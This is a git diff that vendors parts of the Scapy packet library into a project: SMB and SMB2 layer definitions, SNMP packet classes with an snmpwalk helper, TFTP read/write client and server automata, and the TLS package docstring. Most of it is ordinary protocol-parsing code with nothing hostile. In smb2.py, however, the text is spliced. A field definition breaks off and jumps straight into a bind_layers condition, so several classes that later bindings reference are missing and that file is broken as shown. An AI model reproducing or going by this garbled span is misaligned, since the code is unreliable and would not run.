+bind_layers(NBTSession, SMBNegociate_Protocol_Request_Header_Generic, ) +bind_layers(NBTSession, SMBNegociate_Protocol_Response_Advanced_Security, ExtendedSecurity=1) # noqa: E501 +bind_layers(NBTSession, SMBNegociate_Protocol_Response_No_Security, ExtendedSecurity=0, EncryptionKeyLength=8) # noqa: E501 +bind_layers(NBTSession, SMBNegociate_Protocol_Response_No_Security_No_Key, ExtendedSecurity=0, EncryptionKeyLength=0) # noqa: E501 +bind_layers(NBTSession, SMBSession_Setup_AndX_Request, ) +bind_layers(NBTSession, SMBSession_Setup_AndX_Response, ) +bind_layers(SMBNegociate_Protocol_Request_Header, SMBNegociate_Protocol_Request_Tail, ) # noqa: E501 +bind_layers(SMBNegociate_Protocol_Request_Tail, SMBNegociate_Protocol_Request_Tail, ) # noqa: E501 diff --git a/libs/scapy/layers/smb2.py b/libs/scapy/layers/smb2.py new file mode 100755 index 0000000..515f851 --- /dev/null +++ b/libs/scapy/layers/smb2.py @@ -0,0 +1,304 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +SMB (Server Message Block), also known as CIFS - version 2 +""" + +from scapy.config import conf +from scapy.packet import Packet, bind_layers +from scapy.fields import StrFixedLenField, LEIntField, LEShortEnumField, \ + ShortEnumField, XLEIntField, LEShortField, FlagsField, LELongField, \ + XLELongField, XNBytesField, FieldLenField, IntField, FieldListField, \ + XStrLenField, ShortField, IntEnumField, StrFieldUtf16, XLEShortField, \ + UUIDField, XLongField, PacketListField, PadField + + +# EnumField +SMB_DIALECTS = { + 0x0202: 'SMB 2.0.2', + 0x0210: 'SMB 2.1', + 0x0300: 'SMB 3.0', + 0x0302: 'SMB 3.0.2', + 0x0311: 'SMB 3.1.1', +} + +# EnumField +SMB2_NEGOCIATE_CONTEXT_TYPES = { + 0x0001: 'SMB2_PREAUTH_INTEGRITY_CAPABILITIES', + 0x0002: 'SMB2_ENCRYPTION_CAPABILITIES', + 0x0003: 'SMB2_COMPRESSION_CAPABILITIES', + 0x0005: 'SMB2_NETNAME_NEGOCIATE_CONTEXT_ID', +} + +# FlagField +SMB2_CAPABILITIES = { + 30: "CapabilitiesEncryption", + 29: "CapabilitiesDirectoryLeasing", + 28: "CapabilitiesPersistentHandles", + 27: "CapabilitiesMultiChannel", + 26: "CapabilitiesLargeMTU", + 25: "CapabilitiesLeasing", + 24: "CapabilitiesDFS", +} + +# EnumField +SMB2_COMPRESSION_ALGORITHMS = { + 0x0000: "None", + 0x0001: "LZNT1", + 0x0002: "LZ77", + 0x0003: "LZ77 + Huffman", + 0x0004: "Pattern_V1", +} + + +class SMB2_Header(Packet): + name = "SMB2 Header" + fields_desc = [ + StrFixedLenField("Start", b"\xfeSMB", 4), + LEShortField("HeaderLength", 0), + LEShortField("CreditCharge", 0), + LEShortField("ChannelSequence", 0), + LEShortField("Unused", 0), + ShortEnumField("Command", 0, {0x0000: "SMB2_COM_NEGOCIATE"}), + LEShortField("CreditsRequested", 0), + # XLEIntField("Flags", 0), + FlagsField("Flags", 0, 32, { + 24: "SMB2_FLAGS_SERVER_TO_REDIR", + }), + XLEIntField("ChainOffset", 0), + LELongField("MessageID", 0), + XLEIntField("ProcessID", 0), + XLEIntField("TreeID", 0), + XLELongField("SessionID", 0), + XNBytesField("Signature", 0, 16), + ] + + +class SMB2_Compression_Transform_Header(Packet): + name = "SMB2 Compression Transform Header" + fields_desc = [ + StrFixedLenField("Start", b"\xfcSMB", 4), + LEIntField("OriginalCompressedSegmentSize", 0x0), + LEShortEnumField( + "CompressionAlgorithm", 0, + SMB2_COMPRESSION_ALGORITHMS + ), + ShortEnumField("Flags", 0x0, { + 0x0000: "SMB2_COMPRESSION_FLAG_NONE", + 0x0001: "SMB2_COMPRESSION_FLAG_CHAINED", + }), + XLEIntField("Offset/Length", 0), + ] + + +class SMB2_Negociate_Context(Packet): + name = "SMB2 Negociate Context" + fields_desc = [ + LEShortEnumField("ContextType", 0x0, SMB2_NEGOCIATE_CONTEXT_TYPES), + FieldLenField("DataLength", 0x0, fmt="> 24) & 1 == 0 +) +bind_layers( + SMB2_Header, + SMB2_Negociate_Protocol_Response_Header, + Command=0x0000, + Flags=lambda f: (f >> 24) & 1 == 1 +) +bind_layers( + SMB2_Negociate_Context, + SMB2_Preauth_Integrity_Capabilities, + ContextType=0x0001 +) +bind_layers( + SMB2_Negociate_Context, + SMB2_Encryption_Capabilities, + ContextType=0x0002 +) +bind_layers( + SMB2_Negociate_Context, + SMB2_Compression_Capabilities, + ContextType=0x0003 +) +bind_layers( + SMB2_Negociate_Context, + SMB2_Netname_Negociate_Context_ID, + ContextType=0x0005 +) diff --git a/libs/scapy/layers/snmp.py b/libs/scapy/layers/snmp.py new file mode 100755 index 0000000..6e7564f --- /dev/null +++ b/libs/scapy/layers/snmp.py @@ -0,0 +1,299 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +SNMP (Simple Network Management Protocol). +""" + +from __future__ import print_function +from scapy.packet import bind_layers, bind_bottom_up +from scapy.asn1packet import ASN1_Packet +from scapy.asn1fields import ASN1F_INTEGER, ASN1F_IPADDRESS, ASN1F_OID, \ + ASN1F_SEQUENCE, ASN1F_SEQUENCE_OF, ASN1F_STRING, ASN1F_TIME_TICKS, \ + ASN1F_enum_INTEGER, ASN1F_field, ASN1F_CHOICE +from scapy.asn1.asn1 import ASN1_Class_UNIVERSAL, ASN1_Codecs, ASN1_NULL, \ + ASN1_SEQUENCE +from scapy.asn1.ber import BERcodec_SEQUENCE +from scapy.sendrecv import sr1 +from scapy.volatile import RandShort, IntAutoTime +from scapy.layers.inet import UDP, IP, ICMP + +# Import needed to initialize conf.mib +from scapy.asn1.mib import conf # noqa: F401 + +########## +# SNMP # +########## + +# [ ASN1 class ] # + + +class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL): + name = "SNMP" + PDU_GET = 0xa0 + PDU_NEXT = 0xa1 + PDU_RESPONSE = 0xa2 + PDU_SET = 0xa3 + PDU_TRAPv1 = 0xa4 + PDU_BULK = 0xa5 + PDU_INFORM = 0xa6 + PDU_TRAPv2 = 0xa7 + + +class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_GET + + +class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_NEXT + + +class ASN1_SNMP_PDU_RESPONSE(ASN1_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_RESPONSE + + +class ASN1_SNMP_PDU_SET(ASN1_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_SET + + +class ASN1_SNMP_PDU_TRAPv1(ASN1_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_TRAPv1 + + +class ASN1_SNMP_PDU_BULK(ASN1_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_BULK + + +class ASN1_SNMP_PDU_INFORM(ASN1_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_INFORM + + +class ASN1_SNMP_PDU_TRAPv2(ASN1_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_TRAPv2 + + +# [ BER codecs ] # + +class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_GET + + +class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_NEXT + + +class BERcodec_SNMP_PDU_RESPONSE(BERcodec_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_RESPONSE + + +class BERcodec_SNMP_PDU_SET(BERcodec_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_SET + + +class BERcodec_SNMP_PDU_TRAPv1(BERcodec_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_TRAPv1 + + +class BERcodec_SNMP_PDU_BULK(BERcodec_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_BULK + + +class BERcodec_SNMP_PDU_INFORM(BERcodec_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_INFORM + + +class BERcodec_SNMP_PDU_TRAPv2(BERcodec_SEQUENCE): + tag = ASN1_Class_SNMP.PDU_TRAPv2 + + +# [ ASN1 fields ] # + +class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE): + ASN1_tag = ASN1_Class_SNMP.PDU_GET + + +class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE): + ASN1_tag = ASN1_Class_SNMP.PDU_NEXT + + +class ASN1F_SNMP_PDU_RESPONSE(ASN1F_SEQUENCE): + ASN1_tag = ASN1_Class_SNMP.PDU_RESPONSE + + +class ASN1F_SNMP_PDU_SET(ASN1F_SEQUENCE): + ASN1_tag = ASN1_Class_SNMP.PDU_SET + + +class ASN1F_SNMP_PDU_TRAPv1(ASN1F_SEQUENCE): + ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv1 + + +class ASN1F_SNMP_PDU_BULK(ASN1F_SEQUENCE): + ASN1_tag = ASN1_Class_SNMP.PDU_BULK + + +class ASN1F_SNMP_PDU_INFORM(ASN1F_SEQUENCE): + ASN1_tag = ASN1_Class_SNMP.PDU_INFORM + + +class ASN1F_SNMP_PDU_TRAPv2(ASN1F_SEQUENCE): + ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv2 + + +# [ SNMP Packet ] # + + +SNMP_error = {0: "no_error", + 1: "too_big", + 2: "no_such_name", + 3: "bad_value", + 4: "read_only", + 5: "generic_error", + 6: "no_access", + 7: "wrong_type", + 8: "wrong_length", + 9: "wrong_encoding", + 10: "wrong_value", + 11: "no_creation", + 12: "inconsistent_value", + 13: "resource_unavailable", + 14: "commit_failed", + 15: "undo_failed", + 16: "authorization_error", + 17: "not_writable", + 18: "inconsistent_name", + } + +SNMP_trap_types = {0: "cold_start", + 1: "warm_start", + 2: "link_down", + 3: "link_up", + 4: "auth_failure", + 5: "egp_neigh_loss", + 6: "enterprise_specific", + } + + +class SNMPvarbind(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE(ASN1F_OID("oid", "1.3"), + ASN1F_field("value", ASN1_NULL(0)) + ) + + +class SNMPget(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SNMP_PDU_GET(ASN1F_INTEGER("id", 0), + ASN1F_enum_INTEGER("error", 0, SNMP_error), + ASN1F_INTEGER("error_index", 0), + ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 + ) + + +class SNMPnext(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SNMP_PDU_NEXT(ASN1F_INTEGER("id", 0), + ASN1F_enum_INTEGER("error", 0, SNMP_error), + ASN1F_INTEGER("error_index", 0), + ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 + ) + + +class SNMPresponse(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SNMP_PDU_RESPONSE(ASN1F_INTEGER("id", 0), + ASN1F_enum_INTEGER("error", 0, SNMP_error), # noqa: E501 + ASN1F_INTEGER("error_index", 0), + ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 + ) + + +class SNMPset(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SNMP_PDU_SET(ASN1F_INTEGER("id", 0), + ASN1F_enum_INTEGER("error", 0, SNMP_error), + ASN1F_INTEGER("error_index", 0), + ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 + ) + + +class SNMPtrapv1(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SNMP_PDU_TRAPv1(ASN1F_OID("enterprise", "1.3"), + ASN1F_IPADDRESS("agent_addr", "0.0.0.0"), + ASN1F_enum_INTEGER("generic_trap", 0, SNMP_trap_types), # noqa: E501 + ASN1F_INTEGER("specific_trap", 0), + ASN1F_TIME_TICKS("time_stamp", IntAutoTime()), # noqa: E501 + ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 + ) + + +class SNMPbulk(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SNMP_PDU_BULK(ASN1F_INTEGER("id", 0), + ASN1F_INTEGER("non_repeaters", 0), + ASN1F_INTEGER("max_repetitions", 0), + ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 + ) + + +class SNMPinform(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SNMP_PDU_INFORM(ASN1F_INTEGER("id", 0), + ASN1F_enum_INTEGER("error", 0, SNMP_error), # noqa: E501 + ASN1F_INTEGER("error_index", 0), + ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 + ) + + +class SNMPtrapv2(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SNMP_PDU_TRAPv2(ASN1F_INTEGER("id", 0), + ASN1F_enum_INTEGER("error", 0, SNMP_error), # noqa: E501 + ASN1F_INTEGER("error_index", 0), + ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind) # noqa: E501 + ) + + +class SNMP(ASN1_Packet): + ASN1_codec = ASN1_Codecs.BER + ASN1_root = ASN1F_SEQUENCE( + ASN1F_enum_INTEGER("version", 1, {0: "v1", 1: "v2c", 2: "v2", 3: "v3"}), # noqa: E501 + ASN1F_STRING("community", "public"), + ASN1F_CHOICE("PDU", SNMPget(), + SNMPget, SNMPnext, SNMPresponse, SNMPset, + SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2) + ) + + def answers(self, other): + return (isinstance(self.PDU, SNMPresponse) and + (isinstance(other.PDU, SNMPget) or + isinstance(other.PDU, SNMPnext) or + isinstance(other.PDU, SNMPset)) and + self.PDU.id == other.PDU.id) + + +bind_bottom_up(UDP, SNMP, sport=161) +bind_bottom_up(UDP, SNMP, dport=161) +bind_bottom_up(UDP, SNMP, sport=162) +bind_bottom_up(UDP, SNMP, dport=162) +bind_layers(UDP, SNMP, sport=161, dport=161) + + +def snmpwalk(dst, oid="1", community="public"): + try: + while True: + r = sr1(IP(dst=dst) / UDP(sport=RandShort()) / SNMP(community=community, PDU=SNMPnext(varbindlist=[SNMPvarbind(oid=oid)])), timeout=2, chainCC=1, verbose=0, retry=2) # noqa: E501 + if r is None: + print("No answers") + break + if ICMP in r: + print(repr(r)) + break + print("%-40s: %r" % (r[SNMPvarbind].oid.val, r[SNMPvarbind].value)) + oid = r[SNMPvarbind].oid + + except KeyboardInterrupt: + pass diff --git a/libs/scapy/layers/tftp.py b/libs/scapy/layers/tftp.py new file mode 100755 index 0000000..442f7d3 --- /dev/null +++ b/libs/scapy/layers/tftp.py @@ -0,0 +1,489 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +TFTP (Trivial File Transfer Protocol). +""" + +from __future__ import absolute_import +import os +import random + +from scapy.packet import Packet, bind_layers, split_bottom_up, bind_bottom_up +from scapy.fields import PacketListField, ShortEnumField, ShortField, \ + StrNullField +from scapy.automaton import ATMT, Automaton +from scapy.layers.inet import UDP, IP +from scapy.modules.six.moves import range +from scapy.config import conf +from scapy.volatile import RandShort + + +TFTP_operations = {1: "RRQ", 2: "WRQ", 3: "DATA", 4: "ACK", 5: "ERROR", 6: "OACK"} # noqa: E501 + + +class TFTP(Packet): + name = "TFTP opcode" + fields_desc = [ShortEnumField("op", 1, TFTP_operations), ] + + +class TFTP_RRQ(Packet): + name = "TFTP Read Request" + fields_desc = [StrNullField("filename", ""), + StrNullField("mode", "octet")] + + def answers(self, other): + return 0 + + def mysummary(self): + return self.sprintf("RRQ %filename%"), [UDP] + + +class TFTP_WRQ(Packet): + name = "TFTP Write Request" + fields_desc = [StrNullField("filename", ""), + StrNullField("mode", "octet")] + + def answers(self, other): + return 0 + + def mysummary(self): + return self.sprintf("WRQ %filename%"), [UDP] + + +class TFTP_DATA(Packet): + name = "TFTP Data" + fields_desc = [ShortField("block", 0)] + + def answers(self, other): + return self.block == 1 and isinstance(other, TFTP_RRQ) + + def mysummary(self): + return self.sprintf("DATA %block%"), [UDP] + + +class TFTP_Option(Packet): + fields_desc = [StrNullField("oname", ""), + StrNullField("value", "")] + + def extract_padding(self, pkt): + return "", pkt + + +class TFTP_Options(Packet): + fields_desc = [PacketListField("options", [], TFTP_Option, length_from=lambda x:None)] # noqa: E501 + + +class TFTP_ACK(Packet): + name = "TFTP Ack" + fields_desc = [ShortField("block", 0)] + + def answers(self, other): + if isinstance(other, TFTP_DATA): + return self.block == other.block + elif isinstance(other, TFTP_RRQ) or isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_OACK): # noqa: E501 + return self.block == 0 + return 0 + + def mysummary(self): + return self.sprintf("ACK %block%"), [UDP] + + +TFTP_Error_Codes = {0: "Not defined", + 1: "File not found", + 2: "Access violation", + 3: "Disk full or allocation exceeded", + 4: "Illegal TFTP operation", + 5: "Unknown transfer ID", + 6: "File already exists", + 7: "No such user", + 8: "Terminate transfer due to option negotiation", + } + + +class TFTP_ERROR(Packet): + name = "TFTP Error" + fields_desc = [ShortEnumField("errorcode", 0, TFTP_Error_Codes), + StrNullField("errormsg", "")] + + def answers(self, other): + return (isinstance(other, TFTP_DATA) or + isinstance(other, TFTP_RRQ) or + isinstance(other, TFTP_WRQ) or + isinstance(other, TFTP_ACK)) + + def mysummary(self): + return self.sprintf("ERROR %errorcode%: %errormsg%"), [UDP] + + +class TFTP_OACK(Packet): + name = "TFTP Option Ack" + fields_desc = [] + + def answers(self, other): + return isinstance(other, TFTP_WRQ) or isinstance(other, TFTP_RRQ) + + +bind_layers(UDP, TFTP, dport=69) +bind_layers(TFTP, TFTP_RRQ, op=1) +bind_layers(TFTP, TFTP_WRQ, op=2) +bind_layers(TFTP, TFTP_DATA, op=3) +bind_layers(TFTP, TFTP_ACK, op=4) +bind_layers(TFTP, TFTP_ERROR, op=5) +bind_layers(TFTP, TFTP_OACK, op=6) +bind_layers(TFTP_RRQ, TFTP_Options) +bind_layers(TFTP_WRQ, TFTP_Options) +bind_layers(TFTP_OACK, TFTP_Options) + + +class TFTP_read(Automaton): + def parse_args(self, filename, server, sport=None, port=69, **kargs): + Automaton.parse_args(self, **kargs) + self.filename = filename + self.server = server + self.port = port + self.sport = sport + + def master_filter(self, pkt): + return (IP in pkt and pkt[IP].src == self.server and UDP in pkt and + pkt[UDP].dport == self.my_tid and + (self.server_tid is None or pkt[UDP].sport == self.server_tid)) + + # BEGIN + @ATMT.state(initial=1) + def BEGIN(self): + self.blocksize = 512 + self.my_tid = self.sport or RandShort()._fix() + bind_bottom_up(UDP, TFTP, dport=self.my_tid) + self.server_tid = None + self.res = b"" + + self.l3 = IP(dst=self.server) / UDP(sport=self.my_tid, dport=self.port) / TFTP() # noqa: E501 + self.last_packet = self.l3 / TFTP_RRQ(filename=self.filename, mode="octet") # noqa: E501 + self.send(self.last_packet) + self.awaiting = 1 + + raise self.WAITING() + + # WAITING + @ATMT.state() + def WAITING(self): + pass + + @ATMT.receive_condition(WAITING) + def receive_data(self, pkt): + if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting: + if self.server_tid is None: + self.server_tid = pkt[UDP].sport + self.l3[UDP].dport = self.server_tid + raise self.RECEIVING(pkt) + + @ATMT.receive_condition(WAITING, prio=1) + def receive_error(self, pkt): + if TFTP_ERROR in pkt: + raise self.ERROR(pkt) + + @ATMT.timeout(WAITING, 3) + def timeout_waiting(self): + raise self.WAITING() + + @ATMT.action(timeout_waiting) + def retransmit_last_packet(self): + self.send(self.last_packet) + + @ATMT.action(receive_data) +# @ATMT.action(receive_error) + def send_ack(self): + self.last_packet = self.l3 / TFTP_ACK(block=self.awaiting) + self.send(self.last_packet) + + # RECEIVED + @ATMT.state() + def RECEIVING(self, pkt): + if conf.raw_layer in pkt: + recvd = pkt[conf.raw_layer].load + else: + recvd = b"" + self.res += recvd + self.awaiting += 1 + if len(recvd) == self.blocksize: + raise self.WAITING() + raise self.END() + + # ERROR + @ATMT.state(error=1) + def ERROR(self, pkt): + split_bottom_up(UDP, TFTP, dport=self.my_tid) + return pkt[TFTP_ERROR].summary() + + # END + @ATMT.state(final=1) + def END(self): + split_bottom_up(UDP, TFTP, dport=self.my_tid) + return self.res + + +class TFTP_write(Automaton): + def parse_args(self, filename, data, server, sport=None, port=69, **kargs): + Automaton.parse_args(self, **kargs) + self.filename = filename + self.server = server + self.port = port + self.sport = sport + self.blocksize = 512 + self.origdata = data + + def master_filter(self, pkt): + return (IP in pkt and pkt[IP].src == self.server and UDP in pkt and + pkt[UDP].dport == self.my_tid and + (self.server_tid is None or pkt[UDP].sport == self.server_tid)) + + # BEGIN + @ATMT.state(initial=1) + def BEGIN(self): + self.data = [self.origdata[i * self.blocksize:(i + 1) * self.blocksize] + for i in range(len(self.origdata) // self.blocksize + 1)] + self.my_tid = self.sport or RandShort()._fix() + bind_bottom_up(UDP, TFTP, dport=self.my_tid) + self.server_tid = None + + self.l3 = IP(dst=self.server) / UDP(sport=self.my_tid, dport=self.port) / TFTP() # noqa: E501 + self.last_packet = self.l3 / TFTP_WRQ(filename=self.filename, mode="octet") # noqa: E501 + self.send(self.last_packet) + self.res = "" + self.awaiting = 0 + + raise self.WAITING_ACK() + + # WAITING_ACK + @ATMT.state() + def WAITING_ACK(self): + pass + + @ATMT.receive_condition(WAITING_ACK) + def received_ack(self, pkt): + if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.awaiting: + if self.server_tid is None: + self.server_tid = pkt[UDP].sport + self.l3[UDP].dport = self.server_tid + raise self.SEND_DATA() + + @ATMT.receive_condition(WAITING_ACK) + def received_error(self, pkt): + if TFTP_ERROR in pkt: + raise self.ERROR(pkt) + + @ATMT.timeout(WAITING_ACK, 3) + def timeout_waiting(self): + raise self.WAITING_ACK() + + @ATMT.action(timeout_waiting) + def retransmit_last_packet(self): + self.send(self.last_packet) + + # SEND_DATA + @ATMT.state() + def SEND_DATA(self): + self.awaiting += 1 + self.last_packet = self.l3 / TFTP_DATA(block=self.awaiting) / self.data.pop(0) # noqa: E501 + self.send(self.last_packet) + if self.data: + raise self.WAITING_ACK() + raise self.END() + + # ERROR + @ATMT.state(error=1) + def ERROR(self, pkt): + split_bottom_up(UDP, TFTP, dport=self.my_tid) + return pkt[TFTP_ERROR].summary() + + # END + @ATMT.state(final=1) + def END(self): + split_bottom_up(UDP, TFTP, dport=self.my_tid) + + +class TFTP_WRQ_server(Automaton): + + def parse_args(self, ip=None, sport=None, *args, **kargs): + Automaton.parse_args(self, *args, **kargs) + self.ip = ip + self.sport = sport + + def master_filter(self, pkt): + return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip) + + @ATMT.state(initial=1) + def BEGIN(self): + self.blksize = 512 + self.blk = 1 + self.filedata = b"" + self.my_tid = self.sport or random.randint(10000, 65500) + bind_bottom_up(UDP, TFTP, dport=self.my_tid) + + @ATMT.receive_condition(BEGIN) + def receive_WRQ(self, pkt): + if TFTP_WRQ in pkt: + raise self.WAIT_DATA().action_parameters(pkt) + + @ATMT.action(receive_WRQ) + def ack_WRQ(self, pkt): + ip = pkt[IP] + self.ip = ip.dst + self.dst = ip.src + self.filename = pkt[TFTP_WRQ].filename + options = pkt.getlayer(TFTP_Options) + self.l3 = IP(src=ip.dst, dst=ip.src) / UDP(sport=self.my_tid, dport=pkt.sport) / TFTP() # noqa: E501 + if options is None: + self.last_packet = self.l3 / TFTP_ACK(block=0) + self.send(self.last_packet) + else: + opt = [x for x in options.options if x.oname.upper() == b"BLKSIZE"] + if opt: + self.blksize = int(opt[0].value) + self.debug(2, "Negotiated new blksize at %i" % self.blksize) + self.last_packet = self.l3 / TFTP_OACK() / TFTP_Options(options=opt) # noqa: E501 + self.send(self.last_packet) + + @ATMT.state() + def WAIT_DATA(self): + pass + + @ATMT.timeout(WAIT_DATA, 1) + def resend_ack(self): + self.send(self.last_packet) + raise self.WAIT_DATA() + + @ATMT.receive_condition(WAIT_DATA) + def receive_data(self, pkt): + if TFTP_DATA in pkt: + data = pkt[TFTP_DATA] + if data.block == self.blk: + raise self.DATA(data) + + @ATMT.action(receive_data) + def ack_data(self): + self.last_packet = self.l3 / TFTP_ACK(block=self.blk) + self.send(self.last_packet) + + @ATMT.state() + def DATA(self, data): + self.filedata += data.load + if len(data.load) < self.blksize: + raise self.END() + self.blk += 1 + raise self.WAIT_DATA() + + @ATMT.state(final=1) + def END(self): + split_bottom_up(UDP, TFTP, dport=self.my_tid) + return self.filename, self.filedata + + +class TFTP_RRQ_server(Automaton): + def parse_args(self, store=None, joker=None, dir=None, ip=None, sport=None, serve_one=False, **kargs): # noqa: E501 + Automaton.parse_args(self, **kargs) + if store is None: + store = {} + if dir is not None: + self.dir = os.path.join(os.path.abspath(dir), "") + else: + self.dir = None + self.store = store + self.joker = joker + self.ip = ip + self.sport = sport + self.serve_one = serve_one + self.my_tid = self.sport or random.randint(10000, 65500) + bind_bottom_up(UDP, TFTP, dport=self.my_tid) + + def master_filter(self, pkt): + return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip) + + @ATMT.state(initial=1) + def WAIT_RRQ(self): + self.blksize = 512 + self.blk = 0 + + @ATMT.receive_condition(WAIT_RRQ) + def receive_rrq(self, pkt): + if TFTP_RRQ in pkt: + raise self.RECEIVED_RRQ(pkt) + + @ATMT.state() + def RECEIVED_RRQ(self, pkt): + ip = pkt[IP] + options = pkt[TFTP_Options] + self.l3 = IP(src=ip.dst, dst=ip.src) / UDP(sport=self.my_tid, dport=ip.sport) / TFTP() # noqa: E501 + self.filename = pkt[TFTP_RRQ].filename.decode("utf-8", "ignore") + self.blk = 1 + self.data = None + if self.filename in self.store: + self.data = self.store[self.filename] + elif self.dir is not None: + fn = os.path.abspath(os.path.join(self.dir, self.filename)) + if fn.startswith(self.dir): # Check we're still in the server's directory # noqa: E501 + try: + with open(fn) as fd: + self.data = fd.read() + except IOError: + pass + if self.data is None: + self.data = self.joker + + if options: + opt = [x for x in options.options if x.oname.upper() == b"BLKSIZE"] + if opt: + self.blksize = int(opt[0].value) + self.debug(2, "Negotiated new blksize at %i" % self.blksize) + self.last_packet = self.l3 / TFTP_OACK() / TFTP_Options(options=opt) # noqa: E501 + self.send(self.last_packet) + + @ATMT.condition(RECEIVED_RRQ) + def file_in_store(self): + if self.data is not None: + self.blknb = len(self.data) / self.blksize + 1 + raise self.SEND_FILE() + + @ATMT.condition(RECEIVED_RRQ) + def file_not_found(self): + if self.data is None: + raise self.WAIT_RRQ() + + @ATMT.action(file_not_found) + def send_error(self): + self.send(self.l3 / TFTP_ERROR(errorcode=1, errormsg=TFTP_Error_Codes[1])) # noqa: E501 + + @ATMT.state() + def SEND_FILE(self): + self.send(self.l3 / TFTP_DATA(block=self.blk) / self.data[(self.blk - 1) * self.blksize:self.blk * self.blksize]) # noqa: E501 + + @ATMT.timeout(SEND_FILE, 3) + def timeout_waiting_ack(self): + raise self.SEND_FILE() + + @ATMT.receive_condition(SEND_FILE) + def received_ack(self, pkt): + if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.blk: + raise self.RECEIVED_ACK() + + @ATMT.state() + def RECEIVED_ACK(self): + self.blk += 1 + + @ATMT.condition(RECEIVED_ACK) + def no_more_data(self): + if self.blk > self.blknb: + if self.serve_one: + raise self.END() + raise self.WAIT_RRQ() + + @ATMT.condition(RECEIVED_ACK, prio=2) + def data_remaining(self): + raise self.SEND_FILE() + + @ATMT.state(final=1) + def END(self): + split_bottom_up(UDP, TFTP, dport=self.my_tid) diff --git a/libs/scapy/layers/tls/__init__.py b/libs/scapy/layers/tls/__init__.py new file mode 100755 index 0000000..43c6b23 --- /dev/null +++ b/libs/scapy/layers/tls/__init__.py @@ -0,0 +1,99 @@ +# This file is part of Scapy +# Copyright (C) 2007, 2008, 2009 Arnaud Ebalard +# 2015, 2016, 2017 Maxence Tury +# This program is published under a GPLv2 license + +""" +Tools for handling TLS sessions and digital certificates. +Use load_layer('tls') to load them to the main namespace. + +Prerequisites: + + - You may need to 'pip install cryptography' for the module to be loaded. + + +Main features: + + - X.509 certificates parsing/building. + + - RSA & ECDSA keys sign/verify methods. + + - TLS records and sublayers (handshake...) parsing/building. Works with + versions SSLv2 to TLS 1.2. This may be enhanced by a TLS context. For + instance, if Scapy reads a ServerHello with version TLS 1.2 and a cipher + suite using AES, it will assume the presence of IVs prepending the data. + See test/tls.uts for real examples. + + - TLS encryption/decryption capabilities with many ciphersuites, including + some which may be deemed dangerous. Once again, the TLS context enables + Scapy to transparently send/receive protected data if it learnt the + session secrets. Note that if Scapy acts as one side of the handshake + (e.g. reads all server-related packets and builds all client-related + packets), it will indeed compute the session secrets. + + - TLS client & server basic automatons, provided for testing and tweaking + purposes. These make for a very primitive TLS stack. + + - Additionally, a basic test PKI (key + certificate for a CA, a client and + a server) is provided in tls/examples/pki_test. + + +Unit tests: + + - Various cryptography checks. + + - Reading a TLS handshake between a Firefox client and a GitHub server. + + - Reading TLS 1.3 handshakes from test vectors of a draft RFC. + + - Reading a SSLv2 handshake between s_client and s_server, without PFS. + + - Test our TLS server against s_client with different cipher suites. + + - Test our TLS client against our TLS server (s_server is unscriptable). + + +TODO list (may it be carved away by good souls): + + - Features to add (or wait for) in the cryptography library: + + - X448 from RFC 7748 (no support in openssl yet); + + - the compressed EC point format. + + + - About the automatons: + + - Add resumption support, through session IDs or session tickets. + + - Add various checks for discrepancies between client and server. + 